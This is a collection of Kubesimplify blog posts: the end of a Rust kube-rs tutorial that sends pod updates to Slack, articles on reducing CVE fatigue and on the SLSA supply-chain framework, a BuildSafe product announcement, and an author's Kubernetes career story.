After this, make sure to paste the Slack webhook URL in your code (in `slack-integration/src/main.rs`):

```rust
let slack_webhook_url = "Slack webhook URL here"; // Replace with your Slack webhook URL
```

## Step 5 - Run the program and deploy the application

```bash
cargo run  
```

**Output:**

```bash
Compiling slack-integration v0.1.0 (/Users/sangambiradar/Documents/GitHub/kubers-demo/slack-integration)
Finished `dev` profile [unoptimized + debuginfo] target(s) in 2.24s
Running `/Users/sangambiradar/Documents/GitHub/kubers-demo/target/debug/slack-integration`
...  
```

In another terminal, deploy any application using a [sample YAML](https://k8s.io/examples/application/deployment.yaml):

```bash
kubectl apply -f nginx2.yaml
```

You will see real-time updates on the Slack channel 🎉

![](/img/blog/kubernetes-management-with-rust-a-dive-into-generic-client-go-controller-abstractions-and-crd-macros-with-kubers/0c2941a3-cdb0-4068-9495-96eebe887118.png align="center")

# Conclusion

We explored how to efficiently use Rust with Kubernetes by leveraging the kube-rs crate. We started with setting up the Rust environment, Minikube, and initializing a Rust project using Cargo. We demonstrated how to interact with the Kubernetes API to list all pods within the default namespace. Additionally, we covered creating a Custom Resource Definition (CRD) in Rust, including defining custom resources, building CRDs, and verifying their creation in Kubernetes.

Furthermore, we built a simple Rust application that monitors Kubernetes pods and sends updates to a Slack channel using a webhook. This application demonstrated asynchronous programming with Rust's [Tokio runtime](https://tokio.rs/) and efficient communication with Slack through batched messages.

# Resources

* [Official documentation](https://kube.rs/getting-started/)
    
* [Kubernetes Open API](https://docs.rs/k8s-openapi/latest/k8s_openapi/)
    
* [Adopter List for kube.rs](https://kube.rs/adopters)
    
* [Demo Source Code](https://github.com/kubernetesdaily/kubers-demo)
    

Follow Kubesimplify on [Hashnode](https://blog.kubesimplify.com/), [Twitter/X](https://twitter.com/kubesimplify) and [LinkedIn](https://www.linkedin.com/company/kubesimplify). Join our [Discord server](https://kubesimplify.com/discord) to learn with us!

---

# Building a Zero CVE Strategy

- Canonical: https://blog.kubesimplify.com/building-a-zero-cve-strategy
- Published: 2024-07-12
- Summary: In this blog, we will delve into the primary causes of CVE fatigue and discuss some actionable strategies to minimize CVE fatigue.

With the increase in software complexity and as digital threats evolve (as discussed in [our previous blog](https://blog.kubesimplify.com/supply-chain-security-using-slsa-part-1-fundamentals#heading-threat-points-for-a-software-supply-chain)) in today’s digital age, the organizations are facing a massive increase in number of security vulnerabilities. According to the [Coalition Cyber Threat Index 2024](https://www.coalitioninc.com/announcements/cyber-threat-index-2024), we can expect a 25% rise in Common Vulnerabilities and Exposures (CVEs), reaching almost 34,888 this year - which is an astounding number!

Such a rise in CVEs presents a significant challenge for IT professionals who must constantly identify, prioritize, and remediate these vulnerabilities. This process, often pretty overwhelming, is commonly termed as “CVE Fatigue” and can lead to missed vulnerabilities and an increased risk of cyberattacks.

In this blog, we will delve into the primary causes of CVE fatigue and discuss some actionable strategies to minimize CVE fatigue. Thus, guiding organizations towards a more controlled and secure environment.

# What is CVE Fatigue?

If you’re not already familiar with the term CVEs, it stands for Common Vulnerabilities and Exposures. These are standardized identifiers for known software and hardware vulnerabilities. The purpose of the CVE system is to provide a standardized way to identify and describe vulnerabilities, making it easier for organizations to prioritize and address security issues.

CVE Fatigue on the other hand is a common term which is used to describe the overwhelming feeling experienced by developers and IT professionals due to the constant influx of new CVEs being introduced in the industry, that require immediate attention. This constant flow of discovering new vulnerabilities and quickly remediating them can lead to burnout and overlooked issues, increasing the risk of security breaches.

A notable incident that illustrates the consequences of CVE fatigue is the [2017 Equifax data breach](https://www.csoonline.com/article/567833/equifax-data-breach-faq-what-happened-who-was-affected-what-was-the-impact.html). In this breach, attackers exploited a known vulnerability ([CVE-2017-5638](https://nvd.nist.gov/vuln/detail/cve-2017-5638)) in the Apache Struts framework. Although a patch for this vulnerability had been available for months, it was not applied in time, leading to the exposure of sensitive personal information of approximately 147.9 million individuals.

The Equifax breach is one of the prime examples of CVE fatigue because the company's security team was likely overwhelmed by the sheer volume of vulnerabilities needing attention, which led to the delay in patching a critical vulnerability. This incident underscores the importance of effective vulnerability management and the dire consequences of CVE fatigue.

> **Did you know?**  
> According to the [IBM Cost of a Data Breach Report 2023](https://www.ibm.com/reports/data-breach), [the global average cost of a data br](https://www.ibm.com/reports/data-breach)each in 2023 was $4.45 million, a 15% increase over three years. This certainly highlights the financial impact of CVE breaches and the importance of addressing CVE fatigue to prevent such costly incidents and most importantly - the customer’s trust!

# Proven Strategies to Reduce CVE Fatigue

CVE fatigue is a significant challenge for many organizations, arising from several key issues. By understanding the root causes and applying proven strategies, we can effectively mitigate this issue.

## Use Minimal Dependencies

The sheer number of CVEs published each year can overwhelm security teams. With thousands of new vulnerabilities to assess and address, security teams are overwhelmed with alerts that require immediate attention. This high volume makes it difficult to keep up, leading to delayed responses and potential oversights.

> Check out the [CVE statistics and facts report](https://www.comparitech.com/blog/information-security/cybersecurity-vulnerability-statistics/) for more information on the rise of CVEs between 2019-2024.

Reducing the number of dependencies from the start can significantly decrease the number of potential vulnerabilities. For many companies and distributions, the common practice is to start with a general-purpose Linux image and strip away the things that aren’t needed.

> Note: This is what [DockerSlim](https://github.com/slimtoolkit/slim) does by taking an existing image and removing unnecessary components.

While this approach results in a smaller version of the main distribution, such as [Ubuntu minimal](https://wiki.ubuntu.com/Minimal), a more efficient way is to add only the necessary dependencies from the start. You can use minimal base images like [Distroless](https://github.com/GoogleContainerTools/distroless) for this purpose, but it isn’t straightforward to add or remove OS packages with this approach. Even a small dependency can cause a significant breach! And, if a developer doesn’t find a package they need in these minimal images, they often switch to much larger images instead of adding just the OS package they need.

[Talos Linux](https://www.siderolabs.com/blog/there-are-only-12-binaries-in-talos-linux/), which includes only 12 binaries compared to other systems with hundreds, is a great example of this strategy, as its designed from scratch to include only what is needed. This approach limits the attack surface and reduces the burden on security teams.

> Note: If you’re wondering how to have complete control over the OS packages your app needs, check out [BuildSafe](https://buildsafe.dev/guides/getting-started/) to get started.

## **Have a Dependency Update Mechanism**

Effective management of software dependencies is critical in addressing CVE fatigue and minimizing vulnerabilities. Using a declarative format for dependencies helps eliminate [implicit behavior problems](https://blog.thecodewhisperer.com/permalink/the-pain-of-implicit-dependencies). Declarative dependency management makes it clear which dependencies are being used, making it easier to track and update them. By explicitly declaring all dependencies in configuration files, teams can easily manage and automate updates, ensuring that all components are up-to-date and secure. Tools like [Dependabot](https://github.com/dependabot) automate this process by checking for outdated dependencies and creating pull requests to update them.

However, it's important to note that Dependabot cannot handle OS package updates because projects don’t typically have OS dependencies defined declaratively. This inconsistency makes it hard to track and update them, leading to unnoticed security vulnerabilities. Furthermore, very few package managers, such as [Nix](https://nixos.org/), declaratively define OS dependencies per project, making this an ongoing challenge in dependency management.

> Note: The team at [BuildSafe](https://buildsafe.dev/) is working on a GitHub bot to address this issue for OS dependencies. If you're interested, you can [join the Discord server](https://discord.gg/aShYCwXTKF) to request access to the alpha version!

> Did you know?  
> [Repology](https://repology.org/), a project that tracks packaging information across many repositories, shows the fragmentation in package management. This fragmentation highlights how different repositories handle packages and the inefficiencies of using multiple package managers.
> 
> It’s worth noting that [Nix](https://nixos.org/) stands out for having one of the largest package ecosystems with the least potential CVEs, highlighting its robustness and security!
> 
> [![Repology Statistics](/img/blog/building-a-zero-cve-strategy/95cb1738-9ce5-470f-8938-3323bedbe233.png align="center")](https://repology.org/repositories/statistics)

## Use a Single Package Manager and Automated Patching

Managing multiple package ecosystems can overwhelm security teams, leading to inefficiencies and delayed patching.

Enforcing the use of a single package manager across an organization simplifies dependency management. A single package manager provides a unified ecosystem, making it easier for security teams to track and update dependencies. For instance, when there’s a CVE out and the security team is responsible for patching mission-critical software, they often need to send patches to the upstream package repository. Imagine if you and your team had to do this for five different package ecosystems, each with its own build recipes and specific requirements, because of a single CVE - what a nightmare!

Ideally, as companies grow, the aim should be to have an internal package registry where dependencies are vetted by the security team before being used by developers. These internal repositories can mirror public ones while adding and maintaining additional packages with security checks and automated update strategies. This approach not only reduces the complexity and workload for security teams but also ensures that all dependencies are consistently managed and secure.

> Thoughts:  
> Imagine the benefits if we could share a package manager across both our development and runtime environments. [Nix](https://nixos.org/), a powerful package manager allows us to do this, but more on that in a future article.

For instance, [Wolfi by Chainguard](https://www.chainguard.dev/unchained/introducing-wolfi-the-first-linux-un-distro) is a good example here. Wolfi is a distribution focused on being CVE-free and has achieved the status of Docker Trusted Publisher.

[![Wolfi Docker Image](/img/blog/building-a-zero-cve-strategy/a8512e2f-2cfc-48c7-a3e3-fb3e7ea10f57.png align="center")](https://hub.docker.com/r/chainguard/wolfi-base)

## Prioritize Vulnerability Management

Determining which vulnerabilities to address first can be complex, as not all CVEs pose the same level of risk. The importance of the affected systems, potential impact, and severity need to be considered.

You can prioritize vulnerabilities by requesting [Vulnerability Exploitability eXchange](https://cyclonedx.org/capabilities/vex/) (VEX) documents from security advisories within your package manager ecosystem. These documents help eliminate bogus CVEs and provides accurate information about vulnerabilities. VEX documents can be generated using tools like [Kubescape](https://kubescape.io/docs/operator/generating-vex/#what-is-vex), which utilizes eBPF to monitor `syscalls` and determine the relevance of specific CVEs.

An example of [how a VEX document looks like](https://github.com/openvex/vexctl?tab=readme-ov-file#1-creating-vex-documents) is given below:

```json
{
  "@context": "https://openvex.dev/ns/v0.2.0",
  "@id": "https://openvex.dev/docs/public/vex-adc52fe6c8d2ba0feee7f4343f9b40c90e8cdb077817f880a6650502aece82bc",
  "author": "Unknown Author",
  "timestamp": "2023-10-07T23:32:07.620932-08:00",
  "version": 1,
  "statements": [
    {
      "vulnerability": {
        "name": "CVE-2014-123456"
      },
      "timestamp": "2023-10-07T23:32:07.620932-08:00",
      "products": [
        {
          "@id": "pkg:apk/wolfi/git@2.38.1-r0?arch=x86_64"
        }
      ],
      "status": "not_affected",
      "justification": "inline_mitigations_already_exist"
    }
  ]
}
```

> Note: If you’re still overwhelmed despite having minimal dependencies, it might be worth considering more complex solutions like the [CVE Prioritizer](https://github.com/TURROKS/CVE_Prioritizer). This project offers advanced methods to help manage and prioritize CVEs effectively.

# Conclusion

Adopting a zero CVE strategy is crucial for securing your software, and it all starts with minimizing CVE fatigue. We've all heard that "Security shouldn't be an afterthought" and to "Shift left"! It's time to apply these principles in our software development processes by following the proven strategies we've outlined.

By reducing dependencies, keeping them up-to-date, using a single package manager, and effectively prioritizing vulnerabilities, you can mitigate the risks associated with CVE fatigue.

This proactive approach not only lightens the workload on security teams but also ensures that vulnerabilities are promptly addressed, maintaining a secure software environment. We urge you to check out projects like [BuildSafe](https://buildsafe.dev/) that aim to make security by default extremely easy. Let's make security a fundamental part of our software development process and ensure our systems are robust and secure from the start.

# Resources

* [Supply Chain Security Fundamentals](https://blog.kubesimplify.com/supply-chain-security-using-slsa-part-1-fundamentals#heading-threat-points-for-a-software-supply-chain)
    
* [Vulnerability Exploitability eXchange (VEX)](https://cyclonedx.org/capabilities/vex/)
    
* [vexctl](https://github.com/openvex/vexctl) - Tool to create, transform and attest VEX metadata
    
* [How to build 0 CVE docker images?](https://youtu.be/8lcc6jU9zfI?feature=shared)
    

Follow Kubesimplify on [Hashnode](https://blog.kubesimplify.com/), [Twitter/X](https://twitter.com/kubesimplify) and [LinkedIn](https://www.linkedin.com/company/kubesimplify). Join our [Discord server](https://kubesimplify.com/discord) to learn with us!

---

# Supply Chain Security Using SLSA - Part 2 (The Framework)

- Canonical: https://blog.kubesimplify.com/supply-chain-security-using-slsa-part-2-the-framework
- Published: 2024-06-13
- Summary: In this article we'll discuss the Supply Chain Levels for Software Artifacts (SLSA) framework to achieve supply chain security in an organization.

In [Part 1](https://blog.kubesimplify.com/supply-chain-security-using-slsa-part-1-fundamentals) of our ongoing Supply Chain Security series, we delved into the fundamental aspects of supply chain security and its growing importance.

> If you haven’t yet checked out the first part, make sure to [give it a read now!](https://blog.kubesimplify.com/supply-chain-security-using-slsa-part-1-fundamentals)

Now that we've established the critical nature of supply chain security, in this article we'll discuss the Supply Chain Levels for Software Artifacts (SLSA, pronounced "salsa") framework and see how it provides a structured approach to securing the software development lifecycle.

# What is SLSA?

According to the [official documentation](https://slsa.dev/spec/v1.0/about):

> SLSA (aka Supply Chain Levels for Software Artifacts) is a set of incrementally adoptable guidelines for supply chain security, established by industry consensus.

The main goal of SLSA is to help organizations improve their software supply chain security step-by-step.

SLSA breaks down the supply chain into different tracks, focusing on different aspects/stages of a supply chain - with the current focus on the [Build Track](https://slsa.dev/spec/v1.0/levels#build-track), which secures the build process. Each track has levels that represent increasing security practices. Higher levels offer better protection but are more complex and costly to implement. Lower levels are easier to adopt but provide more modest security guarantees.

> Note: `SLSA 0` refers to software that doesn't yet meet any SLSA level.

Organizations can use these guidelines to assess their current security level and understand the steps needed to reach the next level which makes the implementation more manageable and effective at the same time.

# Origins and Current State

Originally [introduced by Google in 2021](https://security.googleblog.com/2021/06/introducing-slsa-end-to-end-framework.html), SLSA aimed to enhance the security of the software supply chains in response to rising supply chain attacks. Drawing inspiration from Google's internal [Binary Authorization for Borg](https://cloud.google.com/docs/security/binary-authorization-for-borg?ref=blog.gitguardian.com), which has safeguarded Google's production workloads for over 8 years, SLSA emerged as a framework for organizations seeking to enhance their security practices.

In collaboration with open source communities, Google designed SLSA to address common vulnerabilities and threats across the industry. Today, SLSA is part of the [Open Source Security Foundation (OpenSSF)](https://openssf.org/), an industry-led initiative focused on improving the security of open source software.

While Google initiated the SLSA framework, it is now supported by the broader OpenSSF community, offering structured guidelines for securing various facets of the software supply chain.

# Target Audience - **Who’s it For?**

**So, who’s SLSA for?** It is designed for anyone involved in the software supply chain, including:

* **Software producers -** Are you an open-source project maintainer wondering how to securely deliver your artifacts to consumers? Whether you're part of an open-source project, a software vendor, or an internal team developing first-party code within a company, SLSA offers protection against tampering throughout the supply chain. It helps mitigate insider risks and ensures that the software reaches consumers as intended.
    
* **Software consumers -** Are you a from a development team asking, "How can we verify if a package has not been tampered with?" Whether you're relying on open-source packages, a government agency using vendor software, or a CISO evaluating organizational risk, frameworks like SLSA and the [Supply Chain Security Framework (S2C2F)](https://github.com/ossf/s2c2f) empower you to assess the security practices of the software you utilize and ensure it aligns with your security expectations.
    
* **Infrastructure providers -** Are you offering infrastructure services and wondering how to contribute to a secure software supply chain? Whether you provide ecosystem package managers, build platforms, or CI/CD platforms, adopting SLSA is crucial. It serves as a bridge between producers and consumers, fostering a secure software supply chain ecosystem.
    

Overall, SLSA is designed for anyone involved in the software supply chain, including software developers, DevOps engineers, security teams, and organizations looking to enhance their software security.

A question you might have is, **What doesn't SLSA cover?** It's a valid point to consider. To find out more about areas SLSA doesn't address, check out the [official documentation](https://slsa.dev/spec/v1.0/about#what-slsa-doesnt-cover).

# Key Objectives

In addition to its primary goal of providing incrementally adoptable guidelines for supply chain security, SLSA focuses on some key objectives:

* **Prevent Tampering and Verify Integrity**: Ensure that no one unauthorized can alter the software during its development and distribution lifecycle and help consumers verify its integrity.
    
* **Improve Security and Increase Trust**: Encourage better security practices, enhance visibility into the software development process, and build confidence in the security of the software supply chain.
    

These objectives are essential as they guide organizations in implementing SLSA practices that protect against various security threats, ensuring the integrity and trustworthiness of their software.

To know more about the objectives of SLSA and its guiding principles, check out the [documentation](https://slsa.dev/spec/v1.0/principles).

# Important Terminologies

Before diving into the **SLSA Levels**, we need to understand a core set of terminologies that would help in our understanding of what we're protecting:

* **Artifact** - Think of an artifact as a packaged food or dish. It's an immutable piece of data, typically referred to as the software itself. Examples include a binary, source code, a container image, an SBOM, or provenance data.
    
* **Provenance** - Information about how and where software was built, including details like the source code and dependencies used. It's like a detailed recipe that shows where the ingredients (dependencies) came from, helping to verify the software's origin and build process.
    
* **Software Bill of Materials (SBOM)** - A list of ingredients or components that make up the software. Just like checking food ingredients for allergies, an SBOM provides detailed information about all the open-source and third-party components used in building the software artifact, ensuring they meet compliance standards.
    
    > 💡 Did you know?
    > 
    > When it comes to creating SBOMs, there are two main standards followed - [SPDX](https://spdx.dev/) and [CycloneDX](https://cyclonedx.org/)
    
* **Attestation** - An attestation is an authenticated statement or metadata about a software artifact or collection of artifacts. Think of it as a standard document structure, like a letter, where the subject is an artifact and the body (termed as "**predicates**") is information about the artifact such as SBOM, Provenance, etc.
    
    > Note: Producers should sign their attestations using a tool like [cosign](https://github.com/sigstore/cosign). This allows consumers to verify that the attestations were indeed created by the producers.
    
    For more details on predicate types, refer to the [in-toto Attestation Predicates](https://github.com/in-toto/attestation/tree/main/spec/predicates).
    
    > 💡 Did you know?  
    > 
    > SLSA has a way for organizations to prove they meet certain SLSA levels without sharing all their internal details with their consumers. They can use a trusted intermediary to provide a verification summary.  
    > 
    > For more information, see the [Verification Summary Attestation](https://slsa.dev/spec/v1.0/verification_summary).
    
    Below is an example of what an attestation looks like:
    
    [![](/img/blog/supply-chain-security-using-slsa-part-2-the-framework/73d07a47-b2a3-47ab-af44-42090149a36c.png align="center")](https://slsa.dev/attestation-model#model-and-terminology)
    
    > 💡 Did you know?
    > 
    > It’s also worth noting that Attestation may also include a [Software Bill of Materials (SBOM)](https://www.synopsys.com/blogs/software-security/software-bill-of-materials-bom.html).
    
    To know more about software attestations, refer to the [official documentation](https://slsa.dev/attestation-model).
    

For now, this overview provides a foundational understanding of these terms. For further details, you may check out the [documentation](https://slsa.dev/spec/v1.0/terminology).

# **SLSA Levels Explained**

SLSA is structured into a series of levels, each offering increasing supply chain security guarantees. Each level is split into tracks and each track has its own set of levels that measure a particular aspect of supply chain security.

Transitioning from [version `0.1`](https://slsa.dev/spec/v0.1/levels) to the current version `1.0` (announced by [OpenSSF in 2023](https://openssf.org/press-release/2023/04/19/openssf-announces-slsa-version-1-0-release/)), SLSA primarily focuses on a single track i.e. the [Build Track](https://slsa.dev/spec/v1.0/levels).

The Build Track is dedicated to ensuring the trustworthiness and completeness of the software artifact's creation process, known as provenance. At its core, it verifies that the artifact was built as expected. The levels within this track range from basic existence of provenance to robust protection against tampering and unauthorized access.

With the Build Levels 1 to 3, organizations can significantly strengthen their software supply chain security.

**Level 1** establishes a sets a foundational stage for tracking, debugging, and verifying software builds. Progressing to **Level 2** strengthens security measures, making it more difficult for attackers to tamper with the build process. Finally, reaching **Level 3** provides robust protection against tampering and unauthorized access, ensuring a high level of trust and integrity in the software development process.

For detailed information on all the levels under the build track and their requirements, refer to the [SLSA documentation](https://slsa.dev/spec/v1.0/levels).

# Future Of SLSA - What can we expect?

Going ahead, we certainly anticipate continuous improvement in the SLSA framework and there are some exciting developments around the corner.

## 1\. Future Directions by the Community

Looking ahead, we can expect continuous improvement in the SLSA framework, driven by community feedback and advancements in supply chain security practices.

One such notable on-going development is that the community is exploring the possibility of introducing new Build Levels, such as [Build Level 4](https://github.com/slsa-framework/slsa/issues/977) to enhance build integrity. These advancements may include features like reproducible builds.

> 💡 Did you know?  
> Solutions like [Nix](https://nixos.org/) have been pioneers in implementing reproducible builds for over 20 years, ensuring that software builds remain consistent and secure. This emphasizes the importance of "reproducibility" in minimizing the risk of tampering.

The goal is to ensure that software builds remain consistent and secure, minimizing the risk of tampering.

If you wish to know more about the future directions of SLSA, check out the [documentation](https://slsa.dev/spec/v1.0/future-directions).

## **2\. SLSA Intersecting with Secure Software Supply Chain Framework (S2C2F)**

The [Secure Supply Chain Consumption Framework (S2C2F)](https://openssf.org/blog/2022/11/16/openssf-expands-supply-chain-integrity-efforts-with-s2c2f/), created by Microsoft and, now [a part of OpenSSF](https://openssf.org/blog/2022/11/16/openssf-expands-supply-chain-integrity-efforts-with-s2c2f/) is designed to address real-world security threats in software supply chains. It outlines specific threats to open-source software (OSS) and how to reduce these risks.

According to [OpenSSF](https://openssf.org/blog/2022/11/16/openssf-expands-supply-chain-integrity-efforts-with-s2c2f/), S2C2F is compatible with producer-focused frameworks like SLSA. While SLSA ensures trustworthy artifact provenance, S2C2F offers broader security coverage, including threat detection and incident response.

Combining S2C2F with SLSA has the potential to strengthen risk management, enhance trust and security in software supply chains, and ensure adaptability to emerging threats.

# Final Thoughts

As we wrap up our two-part series on Supply Chain Security with SLSA, let's recap what we've learned and look ahead.

In [Part 1](https://blog.kubesimplify.com/supply-chain-security-using-slsa-part-1-fundamentals), we talked about why supply chain security matters more than ever amidst rising threats and the complexity of modern software supply chains. We also touched upon emerging regulations aimed at enhancing software safety.

In Part 2, we explored SLSA's role in providing a practical approach to supply chain security and discussed its future development, including the potential benefits of integration with frameworks like S2C2F.

**It's important to remember that while adopting community-driven specifications like SLSA is essential, it doesn't automatically ensure compliance.** We need accessible tools to simplify SLSA compliance and projects like [BuildSafe](https://buildsafe.dev/) are already paving the way in that direction.

As we conclude, I hope this series sparked your curiosity about supply chain security and its significance in today's tech world.

Be sure to stay updated on the latest news about SLSA and similar frameworks in the security ecosystem!

Thank you for reading.

# Credits

Lastly, I would like to extend my heartfelt gratitude to [Rakshit Gondwal](https://x.com/RakshitGondwal) and [Saiyam Pathak](https://x.com/SaiyamPathak) for their invaluable contributions to this blog series 💙

# Resources

* [SLSA Documentation](https://slsa.dev/)
    
* [NixOS](https://nixos.org/)
    
* [OpenSSF's announcement about S2C2F](https://openssf.org/blog/2022/11/16/openssf-expands-supply-chain-integrity-efforts-with-s2c2f/)
    
* [Core Terminologies of Software Supply Chain and SLSA](https://slsa.dev/spec/v1.0/terminology)
    

Follow Kubesimplify on [Hashnode](https://blog.kubesimplify.com/), [Twitter/X](https://twitter.com/kubesimplify) and [LinkedIn](https://www.linkedin.com/company/kubesimplify). Join our [Discord server](https://kubesimplify.com/discord) to learn with us!

---

# Announcing BuildSafe: Your Path to Secure Software Supply Chain

- Canonical: https://blog.kubesimplify.com/announcing-buildsafe
- Published: 2024-06-10
- Summary: This post introduces BuildSafe that lets you build your application using nix with ease. It also helps you in securing your software supply chain.

---

In today's software era, security is paramount. The frequency and severity of supply chain attacks, from log4j to SolarWinds, have underscored the need for robust security measures. Governments and enterprises alike are enforcing stringent regulations, making it imperative for organisations of all sizes to adopt a zero CVE (Common Vulnerabilities and Exposures) approach, complemented by comprehensive SBOMs (Software Bill of Materials). Traditionally, security has been perceived as the domain of dedicated teams, but we believe that security must be integrated into the build process itself. As developers, containers have reduced the bloat of dependencies we ship with our applications, but it hasn’t changed much for security teams to manage. Dockerfiles have become the de-facto standard of how we build applications. However, continuous monitoring by security teams becomes a difficult task, particularly as Dockerfiles evolve. Despite enforcing a policy of using minimal secure base images such as distroless & chainguard images, providing teams with the power of ad-hoc RUN statements in Dockerfiles has turned into a nightmare for security teams for [various reasons](https://buildsafe.dev/blog/OCI/) such as eyeing multiple package manager ecosystems for patches, building trust for unknown dependencies fetched with curl and keeping them up to date, etc.

## Introducing BuildSafe

We are thrilled to unveil BuildSafe, a CLI tool designed to streamline secure development and facilitate a path to tamper proof builds & a uniform way to manage dependencies(that helps with eliminating CVEs). BuildSafe integrates SBOM and Provenance generation as suggested by SLSA (Supply-chain Levels for Software Artifacts), ensuring security at every stage of the build process.

## Motivation

We believe the future of building applications lies in declarative, reproducible builds and equipping security teams with tools that help developers consume packages securely. Current state-of-the-art technologies such as Dockerfiles, buildpacks, and ko did not meet our needs. Visit our differences page for an in-depth review. We also found that most build tools don’t generate high-quality metadata about builds. Poor metadata leads to poor automation and an increased attack surface. Additionally, we noticed that Nix fundamentally solves all these problems, but it has a steep learning curve for teams. Therefore, we created an extremely simple CLI to enable teams to build and ship artifacts easily.

## Key Features

* Reproducible Builds: Leveraging the Nix ecosystem, which supports over 90,000 packages, BuildSafe ensures reproducible and secure builds. Reproducibility is the key element to proving builds have not been tampered with.
    
* Simple TUI: A developer-friendly terminal user interface allows easy browsing of OS packages with license and CVE information before a package gets added.
    
* High-quality attestations: Attestations such as SBOM, and Provenance give important information about which dependencies were used, and how the software was built. This metadata is crucial to securing the supply chain, and it needs to be of high quality.
    
* SLSA Compliance: We follow SLSA principles and generate SLSA Provenance. We also aim for BuildSafe to play a critical role for companies to reach the highest SLSA Level compliance, enhancing your security posture.
    
* Zero CVE/Minimal CVE: Not only do we display CVEs to developers before they add them, but we also allow a simple update mechanism to consume the latest patches from upstream.
    

## Getting Started

Hop over to our [docs](/guides/getting-started/) to get started.

Or watch complete walkthrough to get an overview of BuildSafe.

[![BuildSafe deep dive](https://img.youtube.com/vi/JA-bkvbK_0o/0.jpg align="left")](https://www.youtube.com/watch?v=JA-bkvbK_0o)

## Join Us

We believe the Nix ecosystem, with its found design principles, can revolutionize supply chain security. By choosing BuildSafe, you not only enhance your security posture but also streamline your development process. We invite you to join our Discord server. Your feedback is invaluable as we strive to improve supply chain security. For more information or assistance with SLSA compliance and faster builds, please reach out to us at [contact information](help@buildsafe.dev).

Team BuildSafe

## Additional Resources

* [What is SLSA?](/blog/supply-chain-security-part-1)
    
* [Is it Time to Move Beyond Dockerfiles?](/blog/OCI)

---

# My Journey to Kubestronaut on Kubernetes 10th Birthday

- Canonical: https://blog.kubesimplify.com/my-journey-to-kubestronaut-on-kubernetes-10th-birthday
- Published: 2024-06-08
- Summary: Journey to Kubestronaut, learning Kubernetes over the years and implementing at different organizations. 

Kubernetes turns 10, a huge milestone for the community as the project has become the second largest open-source project on GitHub after Linux. The celebration is about the people and the impact this piece of software has created over the past decade.

What started from learning about Borg and Omega at Google is now part of everything you interact with daily. Kubernetes has been adopted to a level that it is powering almost everything behind the scenes and has become a de facto standard.

Reflecting on my career, I started exploring Docker around 2015 with my friend Aman. We were both very eager to learn new things back then. However, I was not that early in Kubernetes, as my work was different. Fortunately, I was given the option to work on Docker DTR/UCP at HP, and my mentors were just amazing. They knew this stuff as they were coming from the US; from then on, there was no stopping.

I got into the cloud, Docker, and Kubernetes and became a DevOps coach at HP. Moving on with each change—Oracle, Walmart, Civo—I have only learned more, and I am still learning new things in Kubernetes daily.

Cloud resonated with me very well, and I could do so many things with CLI or at the click of a button. The developer experience of Docker with the "build once and run anywhere" philosophy was fascinating.

I have switched roles, transitioned to various things from writing code to building solutions to developer advocacy, talking with customers, exploring new tech, researching new POCs, shaping up roadmaps, giving my opinions on the latest trends, teaching cloud-native concepts, and much more.

I have been fortunate enough to be part of the CNCF Ambassadors program for the past four years and educate folks as much as possible via [<mark>Kubesimplify</mark>](https://kubesimplify.com).

## Play with Kubernetes at work

My time at hp/HPE/DXC with containers and Kubernetes was formative. I used to work with Docker DTR and UCP, regularly dockerizing stuff for various teams as part of Dojo sessions led by Santosh Chandan (my mentor and a great human being). I learned a lot here, even though I still didn’t use Kubernetes. There was this one project where we were trying to spin up a cluster, and that’s where I first heard of Kubernetes. Although I was not part of creating the cluster, I did start to read about it.

All in all, I had good senior folks who guided me and helped push me forward.

![Me at HPE Discover London.](https://scontent.fixc4-1.fna.fbcdn.net/v/t31.18172-8/15288577_10209412438762874_5522393484925173834_o.jpg?_nc_cat=105&ccb=1-7&_nc_sid=5f2048&_nc_ohc=bmWZPtktNZEQ7kNvgFpR05s&_nc_ht=scontent.fixc4-1.fna&oh=00_AYDZ1M7tD-uRdls07hD6pe5_4y3PBBeXK_VSzX_qdpfvew&oe=668B8600 align="left")

Moving to Oracle was fun as I was part of the solution engineering team, where we had to create POC solutions for customers using Oracle tooling. In 2018, I went full-on with cloud-native and Kubernetes with Oracle Cloud. They were about to ship their Gen2 infrastructure at that time, and OKE (Oracle Kubernetes Engine) was just coming out. We were the first ones to try it and build solutions around it. My team at Oracle also supported me to do more and more. We (four people from my team) also won a hackathon and earned a free trip to Singapore for Oracle OpenWorld. This was also the time when I started speaking and blogging.

[I built a sentiment analysis app using Stanford NLP and Helidon back when there was no hype.](https://medium.com/oracledevs/stanford-nlp-sentiment-analysis-using-oracle-helidon-and-docker-8569b02a92d5)

![No alt text provided for this image](https://media.licdn.com/dms/image/C5122AQGD0DwMQrzKmw/feedshare-shrink_8192/0/1556788838736?e=1720656000&v=beta&t=XMiPRzwwaqHVCjMqFzJ2kaGzs_6U9iN-47vZ1wJB54U align="center")

At Walmart, I worked with some very intelligent people, continued writing more, and gave more sessions even internationally. I was part of the Machine Learning Platform team, using Kubernetes heavily on-prem, on GCP, and on Azure with self-managed Kubernetes clusters. Those were massive 200+ node clusters managed by just three people. I still stay in touch with the team I worked with, and they were all amazing. I learned about Kubeflow, Seldon, and many custom things while working there, and I also did a LOT OF TROUBLESHOOTING!

After this, I worked at **Civo**, where I was part of building the cloud and getting everything right, building a managed Kubernetes service from scratch. I have learned a lot and also transitioned my career to an Evangelist, where I researched more, learned more, and created more content—started my YouTube channel and community called [Kubesimplify](https://youtube.com/@kubesimplify). I took Civo to the next level by getting the right strategies and roadmap in place and bringing the world's attention to Civo. I have given a lot and worked day and night to take it to the NEXT level.

## Kubernetes Community

I made some friends in the cloud-native ecosystem while creating content and advocating for CNCF, speaking at various KubeCons, and being part of the Program Committee various times, including Track Chair and Keynote Speaker at KubeDay India. I was also part of the SME program for Kubernetes certification, and I completed the CKA/CKAD/CKS when they were three-hour exams with three-year validity.

After the [Kubestronaut announcement](https://www.cncf.io/training/kubestronaut/), I had to complete all five certifications—CKA, CKAD, CKS, KCNA, and KSCA—as my certs were expiring. Thanks to CNCF and Katie for sponsoring these exams as a CNCF Ambassador benefit, and I completed them in a week.

I have already written books on [CKA](https://saiyampathak.gumroad.com/l/cka) and [CKS](https://saiyampathak.gumroad.com/l/cksbook), and I plan to write one on CKAD and create a complete Kubestronaut Course on Udemy soon.

A detailed article on preparation and resources will be shared soon in a separate article. But I am happy to become a Kubestronaut on Kubernetes' 10th birthday. Although I have not been involved with Kubernetes since the beginning, more than six years of learning and using it has changed my life. Plus, I have made good friends in the community.

What is your Kubernetes story or favorite Kubernetes moment? Do share in the comments!

PS - both of my books are at a 40% discount for a few days.

[CKA](https://saiyampathak.gumroad.com/l/cka) and [CKS](https://saiyampathak.gumroad.com/l/cksbook) use coupon "**birthday**"

